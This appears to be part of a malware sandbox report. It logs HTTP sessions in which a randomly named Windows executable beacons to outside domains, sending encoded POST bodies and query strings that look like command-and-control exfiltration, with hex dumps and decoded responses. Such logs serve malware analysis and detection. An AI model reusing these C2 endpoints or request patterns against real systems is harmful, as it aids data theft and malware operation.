Jan 9, 2025 16:56:10.433511019 CET	493	IN	HTTP/1.1 302 Found Date: Thu, 09 Jan 2025 15:56:10 GMT Server: Apache Location: http://maximumgroup.co.za/cxj4/ Content-Length: 290 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 6d 61 78 69 6d 75 6d 67 72 6f 75 70 2e 63 6f 2e 7a 61 2f 63 78 6a 34 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 31 30 30 6d 69 6c 6c 69 6f 6e 6a 6f 62 73 2e 61 66 72 69 63 61 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="http://maximumgroup.co.za/cxj4/">here</a>.</p><hr><address>Apache Server at www.100millionjobs.africa Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.11.30	49856	136.243.64.147	80	5384	C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:56:12.971327066 CET	544	OUT	GET /cxj4/?80k=lRapCPMXgDk&6B-l7F=gKtC9mpNHTkTr00JCblrl8a3AfTX/duoM8EbXMKNjeYmEZtcGajyBctrWO6oEHOoogFTlfS8+DNQw55D2MfCqAhjIjNgZ6kwkHLqIJ6FVQVj1Nnq3yix8Cc= HTTP/1.1 Host: www.100millionjobs.africa Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Jan 9, 2025 16:56:13.199781895 CET	785	IN	HTTP/1.1 302 Found Date: Thu, 09 Jan 2025 15:56:13 GMT Server: Apache Location: http://maximumgroup.co.za/cxj4/?80k=lRapCPMXgDk&6B-l7F=gKtC9mpNHTkTr00JCblrl8a3AfTX/duoM8EbXMKNjeYmEZtcGajyBctrWO6oEHOoogFTlfS8+DNQw55D2MfCqAhjIjNgZ6kwkHLqIJ6FVQVj1Nnq3yix8Cc= Content-Length: 438 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 6d 61 78 69 6d 75 6d 67 72 6f 75 70 2e 63 6f 2e 7a 61 2f 63 78 6a 34 2f 3f 38 30 6b 3d 6c 52 61 70 43 50 4d 58 67 44 6b 26 61 6d 70 3b 36 42 2d 6c 37 46 3d 67 4b 74 43 39 6d 70 4e 48 54 6b 54 72 30 30 4a 43 62 6c 72 6c 38 61 33 41 66 54 58 2f 64 75 6f 4d 38 45 62 58 4d 4b 4e 6a 65 59 6d 45 5a 74 63 47 61 6a 79 42 63 74 72 57 4f 36 6f 45 48 4f 6f 6f 67 46 54 6c 66 53 38 2b 44 4e 51 77 35 35 44 32 4d 66 43 71 41 68 6a 49 6a 4e 67 5a 36 6b 77 6b 48 4c 71 49 4a 36 46 56 51 56 6a 31 4e 6e 71 33 79 69 78 38 43 63 3d 22 3e 68 65 72 65 [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="http://maximumgroup.co.za/cxj4/?80k=lRapCPMXgDk&6B-l7F=gKtC9mpNHTkTr00JCblrl8a3AfTX/duoM8EbXMKNjeYmEZtcGajyBctrWO6oEHOoogFTlfS8+DNQw55D2MfCqAhjIjNgZ6kwkHLqIJ6FVQVj1Nnq3yix8Cc=">here</a>.</p><hr><address>Apache Server at www.100millionjobs.africa Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.11.30	49857	202.95.11.110	80	5384	C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:56:19.121620893 CET	805	OUT	POST /wbfy/ HTTP/1.1 Host: www.mirenzhibo.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 203 Content-Type: application/x-www-form-urlencoded Origin: http://www.mirenzhibo.net Referer: http://www.mirenzhibo.net/wbfy/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 36 42 2d 6c 37 46 3d 61 63 32 37 30 2f 4b 63 36 62 78 4a 79 65 34 55 33 64 79 49 63 37 79 66 2f 77 66 34 2b 4f 76 31 6a 70 79 45 70 46 4d 6b 54 38 42 6b 66 55 72 52 4c 32 53 58 51 6f 74 78 56 30 4d 49 2b 4e 79 66 4e 53 68 73 32 49 4a 35 55 62 62 4a 54 2f 2b 63 64 70 77 76 6c 31 42 4e 65 7a 58 58 55 5a 6e 38 49 38 59 49 4e 42 53 78 46 67 66 50 39 38 48 4e 4a 79 75 30 30 6e 34 58 78 45 30 63 6e 55 4e 7a 31 6d 35 65 46 4f 63 65 76 6f 68 2b 71 38 59 42 48 31 6e 54 39 74 61 58 35 6f 56 49 70 75 37 59 51 44 4c 34 6c 34 38 4f 55 46 4f 43 5a 56 36 6e 33 6d 36 47 65 44 39 69 37 72 69 6c 50 56 49 7a 46 67 3d 3d Data Ascii: 6B-l7F=ac270/Kc6bxJye4U3dyIc7yf/wf4+Ov1jpyEpFMkT8BkfUrRL2SXQotxV0MI+NyfNShs2IJ5UbbJT/+cdpwvl1BNezXXUZn8I8YINBSxFgfP98HNJyu00n4XxE0cnUNz1m5eFOcevoh+q8YBH1nT9taX5oVIpu7YQDL4l48OUFOCZV6n3m6GeD9i7rilPVIzFg==
Jan 9, 2025 16:56:19.465543985 CET	190	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 09 Jan 2025 15:56:19 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 64 0d 0a 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 30 0d 0a 0d 0a Data Ascii: d404 Not Found0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.11.30	49858	202.95.11.110	80	5384	C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:56:21.966253996 CET	825	OUT	POST /wbfy/ HTTP/1.1 Host: www.mirenzhibo.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 223 Content-Type: application/x-www-form-urlencoded Origin: http://www.mirenzhibo.net Referer: http://www.mirenzhibo.net/wbfy/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 36 42 2d 6c 37 46 3d 61 63 32 37 30 2f 4b 63 36 62 78 4a 7a 2f 6f 55 77 4e 4f 49 61 62 79 65 77 51 66 34 6c 65 76 78 6a 70 2b 45 70 45 49 30 54 4b 70 6b 66 32 7a 52 4b 7a 79 58 54 6f 74 78 4e 45 4d 4e 39 39 79 45 4e 53 6c 6b 32 4a 31 35 55 62 50 4a 54 36 43 63 63 61 59 6f 6b 6c 42 54 66 44 58 56 61 35 6e 38 49 38 59 49 4e 42 58 71 46 67 48 50 39 4d 58 4e 49 51 47 31 72 58 34 59 32 45 30 63 78 6b 4d 36 31 6d 35 73 46 4d 70 4c 76 72 56 2b 71 38 49 42 47 67 62 53 7a 74 61 52 32 49 55 70 68 4e 69 4e 49 78 2f 4e 73 4b 6b 6c 62 6e 44 32 52 69 58 39 71 6c 4f 45 4e 6a 42 50 6e 71 50 4e 4e 58 4a 6f 59 6e 32 43 55 4d 70 74 45 32 47 4e 78 6f 68 4f 2f 39 51 49 4a 4d 41 3d Data Ascii: 6B-l7F=ac270/Kc6bxJz/oUwNOIabyewQf4levxjp+EpEI0TKpkf2zRKzyXTotxNEMN99yENSlk2J15UbPJT6CccaYoklBTfDXVa5n8I8YINBXqFgHP9MXNIQG1rX4Y2E0cxkM61m5sFMpLvrV+q8IBGgbSztaR2IUphNiNIx/NsKklbnD2RiX9qlOENjBPnqPNNXJoYn2CUMptE2GNxohO/9QIJMA=
Jan 9, 2025 16:56:22.308672905 CET	190	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 09 Jan 2025 15:56:22 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 64 0d 0a 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 30 0d 0a 0d 0a Data Ascii: d404 Not Found0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.11.30	49859	202.95.11.110	80	5384	C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:56:24.805553913 CET	1289	OUT	POST /wbfy/ HTTP/1.1 Host: www.mirenzhibo.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 3339 Content-Type: application/x-www-form-urlencoded Origin: http://www.mirenzhibo.net Referer: http://www.mirenzhibo.net/wbfy/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 36 42 2d 6c 37 46 3d 61 63 32 37 30 2f 4b 63 36 62 78 4a 7a 2f 6f 55 77 4e 4f 49 61 62 79 65 77 51 66 34 6c 65 76 78 6a 70 2b 45 70 45 49 30 54 4b 52 6b 65 46 37 52 4b 53 79 58 53 6f 74 78 54 30 4d 4d 39 39 7a 65 4e 57 42 67 32 4a 34 4d 55 59 33 4a 63 38 32 63 56 4c 59 6f 39 56 42 54 61 7a 58 59 55 5a 6e 6c 49 38 49 4d 4e 42 6e 71 46 67 48 50 39 4b 72 4e 49 43 75 31 74 58 34 58 78 45 30 71 6e 55 4e 66 31 6c 4a 57 46 4d 73 77 76 75 4a 2b 71 50 67 42 48 53 7a 53 7a 74 61 52 30 34 55 6f 68 4e 65 4d 49 78 6d 45 73 4c 73 54 61 57 58 32 54 58 69 5a 39 55 79 34 65 6a 46 2b 76 2b 79 30 45 55 4e 38 57 46 69 42 64 38 46 79 43 55 71 69 32 4e 4e 4b 72 64 51 73 51 63 6b 48 6a 48 6b 6e 49 73 76 51 59 67 71 35 30 56 4a 54 78 67 39 4c 47 6e 7a 66 4f 79 4c 7a 39 67 39 35 71 30 6e 67 44 6e 70 63 37 6f 6b 7a 77 67 5a 53 35 50 55 66 64 48 2b 75 45 6e 63 76 44 68 69 2b 6f 78 52 44 41 32 77 34 34 63 30 2f 34 61 6c 79 57 6d 66 63 71 77 33 49 62 38 6a 38 44 54 39 77 2f 4e 30 7a 31 6d 78 50 75 49 64 73 64 37 36 79 54 51 66 [TRUNCATED] Data Ascii: 6B-l7F=ac270/Kc6bxJz/oUwNOIabyewQf4levxjp+EpEI0TKRkeF7RKSyXSotxT0MM99zeNWBg2J4MUY3Jc82cVLYo9VBTazXYUZnlI8IMNBnqFgHP9KrNICu1tX4XxE0qnUNf1lJWFMswvuJ+qPgBHSzSztaR04UohNeMIxmEsLsTaWX2TXiZ9Uy4ejF+v+y0EUN8WFiBd8FyCUqi2NNKrdQsQckHjHknIsvQYgq50VJTxg9LGnzfOyLz9g95q0ngDnpc7okzwgZS5PUfdH+uEncvDhi+oxRDA2w44c0/4alyWmfcqw3Ib8j8DT9w/N0z1mxPuIdsd76yTQfkfTK/HZo8pTrtZlAHfDTYMgvdxhIE2eNjjzQTHotUo3lCVvyO/nhjTK0hOyYORWMpaKZSmH747e7sO+AM8jgLruHUgvJ/0xMgtHkPSejPL0sQBEXnrIIOZXmSwdvPUBGZ6ccXgmn3tKywnT59SCjtxv2itU3arXJkAU6DE4r5ofixubIi0gmpaKyVBwCQnW6c3he5VXOqO2a8mtbITggD+5ZtqWfr4WA9cMoTuxf+wO0+ocRSnFY0zryWP/c/lG9pIgOXegmolIo45Tl8HVhVDlkdQvTTlEE0kKTzcBeQHRcM7A02TYojPx5JXUcUhoZp9hAQvGNFyDefKd8AuJWTjpX+h1G
Jan 9, 2025 16:56:24.805605888 CET	2653	OUT	Data Raw: 44 2b 32 39 62 43 39 49 44 41 70 41 41 54 6a 4b 62 71 7a 4d 65 32 71 41 4c 59 6c 62 50 66 4e 36 32 51 79 52 76 53 4b 46 58 7a 32 71 37 55 33 71 46 56 79 6d 31 46 34 75 66 61 76 38 71 36 46 48 78 41 45 38 51 6d 78 68 62 39 4d 2b 63 69 38 44 46 6d Data Ascii: D+29bC9IDApAATjKbqzMe2qALYlbPfN62QyRvSKFXz2q7U3qFVym1F4ufav8q6FHxAE8Qmxhb9M+ci8DFmsf3RGl/VmUHxE1DQ9W6p+zCGDR4s8ynEb+WfbirM8yIpoE9Dhrw7B3Lk3+HEFbtSI/k3oBbIHvmM1hhevMOfzATHL+hvHImk64I5SHOMSS8FXRPPqBMN2B1lccvhwsUnh4ltwvcZQFBjF5qAfNGSggEwhybjp6e3/
Jan 9, 2025 16:56:25.147938013 CET	190	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 09 Jan 2025 15:56:25 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 64 0d 0a 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 30 0d 0a 0d 0a Data Ascii: d404 Not Found0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.11.30	49860	202.95.11.110	80	5384	C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:56:27.628243923 CET	537	OUT	GET /wbfy/?6B-l7F=Xeeb3ImT6ZQQytgApKylbK7mnw/Uy82KlqPkukVQbKRvaGCiHgrQQJpKPHE9m9OFKl001Zh7fqviaNy8QasigmVtVgrnFrjMGvUSPSWgMjv1orXfOBS8k1A=&80k=lRapCPMXgDk HTTP/1.1 Host: www.mirenzhibo.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Jan 9, 2025 16:56:28.133764982 CET	995	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 09 Jan 2025 15:56:27 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Data Raw: 33 32 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 42 61 69 64 75 73 70 69 64 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0d 0a 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0d 0a 20 20 20 20 76 61 72 20 62 70 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 0d 0a 20 20 20 20 76 61 72 20 63 75 72 50 72 6f 74 6f 63 6f 6c 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 70 72 6f 74 6f 63 [TRUNCATED] Data Ascii: 322<!DOCTYPE html><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><meta name="Baiduspider" content="noindex, nofollow"><title></title> <script>(function(){ var bp = document.createElement('script'); var curProtocol = window.location.protocol.split(':')[0]; if (curProtocol === 'https') { bp.src = 'https://zz.bdstatic.com/linksubmit/push.js'; } else { bp.src = 'http://push.zhanzhang.baidu.com/push.js'; } var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(bp, s);})();</script></head><body style="padding: 0;margin: 0;"><div><script rel="nofollow" src="http://www.zbywl.com/js.js"></script></div></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.11.30	49861	13.248.169.48	80	5384	C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:56:33.551520109 CET	814	OUT	POST /kgjj/ HTTP/1.1 Host: www.nextlevel.finance Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 203 Content-Type: application/x-www-form-urlencoded Origin: http://www.nextlevel.finance Referer: http://www.nextlevel.finance/kgjj/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 36 42 2d 6c 37 46 3d 72 32 6e 54 57 4b 4c 6f 35 39 31 56 62 54 69 68 36 50 48 78 38 5a 66 73 51 56 64 68 6b 78 72 2f 70 34 31 73 64 6b 6e 59 37 42 78 2b 56 44 2f 51 37 64 62 76 39 39 72 30 6e 6e 33 5a 57 52 2f 51 59 48 47 64 66 71 69 38 2f 36 38 4c 74 33 38 30 35 7a 6d 48 39 77 70 66 68 59 32 7a 4f 6e 6d 59 77 2f 61 6a 66 4c 50 63 6f 2f 6e 41 38 4e 31 78 6f 4d 41 43 6a 79 5a 56 7a 50 46 75 4f 64 47 6e 6d 4f 77 2f 45 6a 6d 69 53 35 57 39 30 36 33 67 4d 31 36 41 68 4f 38 70 4d 30 2b 37 44 72 6f 48 41 7a 55 43 78 5a 51 68 76 4a 78 47 6a 39 55 52 65 42 30 30 76 45 45 2f 56 65 46 58 39 30 37 33 32 67 3d 3d Data Ascii: 6B-l7F=r2nTWKLo591VbTih6PHx8ZfsQVdhkxr/p41sdknY7Bx+VD/Q7dbv99r0nn3ZWR/QYHGdfqi8/68Lt3805zmH9wpfhY2zOnmYw/ajfLPco/nA8N1xoMACjyZVzPFuOdGnmOw/EjmiS5W9063gM16AhO8pM0+7DroHAzUCxZQhvJxGj9UReB00vEE/VeFX90732g==
Jan 9, 2025 16:56:33.688316107 CET	73	IN	HTTP/1.1 405 Method Not Allowed content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.11.30	49862	13.248.169.48	80	5384	C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:56:36.223210096 CET	834	OUT	POST /kgjj/ HTTP/1.1 Host: www.nextlevel.finance Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 223 Content-Type: application/x-www-form-urlencoded Origin: http://www.nextlevel.finance Referer: http://www.nextlevel.finance/kgjj/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 36 42 2d 6c 37 46 3d 72 32 6e 54 57 4b 4c 6f 35 39 31 56 55 53 53 68 70 2b 48 78 70 70 66 76 56 56 64 68 74 52 71 34 70 34 70 73 64 6c 54 49 37 54 46 2b 57 6a 50 51 36 5a 33 76 38 39 72 30 7a 58 33 41 59 78 2f 48 59 48 4b 56 66 76 43 38 2f 38 51 4c 74 79 51 30 2b 41 2b 49 2b 41 70 64 70 34 32 31 44 48 6d 59 77 2f 61 6a 66 4c 62 6d 6f 2f 76 41 2f 2b 74 78 75 5a 38 42 74 53 5a 61 30 50 46 75 45 39 47 6a 6d 4f 77 42 45 6e 2f 31 53 37 75 39 30 34 76 67 4d 6b 36 44 36 2b 38 6e 52 6b 2b 6f 4d 4f 52 2f 65 41 73 47 78 72 63 42 76 37 56 54 69 71 35 4c 44 43 41 32 38 6b 34 53 4a 66 6f 2f 2f 32 36 73 72 68 51 59 5a 55 51 61 73 72 5a 39 55 6a 79 6a 30 66 71 41 68 61 30 3d Data Ascii: 6B-l7F=r2nTWKLo591VUSShp+HxppfvVVdhtRq4p4psdlTI7TF+WjPQ6Z3v89r0zX3AYx/HYHKVfvC8/8QLtyQ0+A+I+Apdp421DHmYw/ajfLbmo/vA/+txuZ8BtSZa0PFuE9GjmOwBEn/1S7u904vgMk6D6+8nRk+oMOR/eAsGxrcBv7VTiq5LDCA28k4SJfo//26srhQYZUQasrZ9Ujyj0fqAha0=
Jan 9, 2025 16:56:36.359236002 CET	73	IN	HTTP/1.1 405 Method Not Allowed content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.11.30	49863	13.248.169.48	80	5384	C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:56:39.909548998 CET	1289	OUT	POST /kgjj/ HTTP/1.1 Host: www.nextlevel.finance Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 3339 Content-Type: application/x-www-form-urlencoded Origin: http://www.nextlevel.finance Referer: http://www.nextlevel.finance/kgjj/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 36 42 2d 6c 37 46 3d 72 32 6e 54 57 4b 4c 6f 35 39 31 56 55 53 53 68 70 2b 48 78 70 70 66 76 56 56 64 68 74 52 71 34 70 34 70 73 64 6c 54 49 37 54 64 2b 57 51 33 51 36 34 33 76 36 4e 72 30 77 58 33 46 59 78 2f 2f 59 44 75 52 66 76 65 73 2f 2f 6b 4c 69 30 45 30 37 78 2b 49 6c 51 70 64 32 6f 32 77 4f 6e 6d 33 77 35 36 2f 66 4c 4c 6d 6f 2f 76 41 2f 34 42 78 34 38 41 42 76 53 5a 56 7a 50 46 79 4f 64 47 50 6d 4b 6b 33 45 6e 71 49 53 35 4f 39 30 4a 2f 67 4c 58 53 44 36 2b 38 6e 4c 30 2b 72 4d 4f 56 79 65 41 6b 53 78 75 70 2b 76 4c 78 54 68 50 6f 4f 57 79 46 73 76 6b 6f 50 4f 4d 6b 33 72 58 43 50 6a 44 51 67 49 6e 49 44 69 71 5a 58 64 48 71 71 70 61 75 44 30 2f 46 47 6b 44 43 51 4f 71 78 61 42 6e 52 47 75 6f 42 4b 67 69 64 54 75 4a 79 4b 54 53 64 33 43 54 79 30 4d 73 46 72 48 67 6a 62 53 70 71 42 2b 76 2f 44 61 66 45 4f 7a 4a 66 67 64 71 2f 6e 75 41 63 57 57 4c 71 4f 4c 44 6c 34 65 74 74 78 79 39 56 45 78 43 6a 37 6c 32 31 36 6c 46 6c 45 75 37 55 44 4d 61 4d 64 76 38 55 36 4a 31 4a 67 69 41 30 47 47 48 47 [TRUNCATED] Data Ascii: 6B-l7F=r2nTWKLo591VUSShp+HxppfvVVdhtRq4p4psdlTI7Td+WQ3Q643v6Nr0wX3FYx//YDuRfves//kLi0E07x+IlQpd2o2wOnm3w56/fLLmo/vA/4Bx48ABvSZVzPFyOdGPmKk3EnqIS5O90J/gLXSD6+8nL0+rMOVyeAkSxup+vLxThPoOWyFsvkoPOMk3rXCPjDQgInIDiqZXdHqqpauD0/FGkDCQOqxaBnRGuoBKgidTuJyKTSd3CTy0MsFrHgjbSpqB+v/DafEOzJfgdq/nuAcWWLqOLDl4ettxy9VExCj7l216lFlEu7UDMaMdv8U6J1JgiA0GGHGjTeB5y7sBe5mKAQfDcfUenvHQc+9CMtcbllYgWP1wTD5lytse8FVD0rBi1wDW4wzQ6BwVTuzQGijR5oxgMe9rkuLdmBnzGI8nuoYgdU0ea1R6WSfqbl/h87qnw/eB/kgwRzI5geK/eBwKKrArH9dmIo+ycpD5kH1rZcz2FqrpF6Lb/1UNs/RTtfkgOiDUrr+xw5bGv6IhGCqM3njAUJOHnpxp3fHrQFsF9k8mYMyIMW12UG/GcQh9SoHo4EP8LNa1y8ou0b/0nVzsd3PB3op6CQTUxQk4I9mqCqaoEYotDHDCLsLGiTgtkftsiu25K0jTz4u6ccQFMJtiuhHo/V
Jan 9, 2025 16:56:39.909611940 CET	2662	OUT	Data Raw: 32 38 6a 6e 45 61 42 6b 32 79 68 70 55 71 43 33 55 30 67 46 41 7a 44 63 64 5a 53 38 7a 6d 78 78 44 55 58 63 48 2f 4d 41 44 77 57 77 6f 62 4f 49 34 62 75 76 43 32 5a 63 49 52 50 6d 50 67 38 56 70 4c 70 45 36 45 76 79 2f 66 50 4d 55 70 4d 4e 38 6f Data Ascii: 28jnEaBk2yhpUqC3U0gFAzDcdZS8zmxxDUXcH/MADwWwobOI4buvC2ZcIRPmPg8VpLpE6Evy/fPMUpMN8oIyeFzKD1TgXrX+qW/kimRl5HqP97EOCSdA8C5BWNq3BdDJ+an3ckGMubn4hXwHVbhpvHfa3SLZEOjwm8mK3d8e7ZVwC8Rous/lYeskzyOLrdJ1mWvsvlFOWmQ1V/KbbkLAxsP+sOD5uLKAVbd0++VOSyBjvTVpH3Q
Jan 9, 2025 16:56:40.046780109 CET	73	IN	HTTP/1.1 405 Method Not Allowed content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
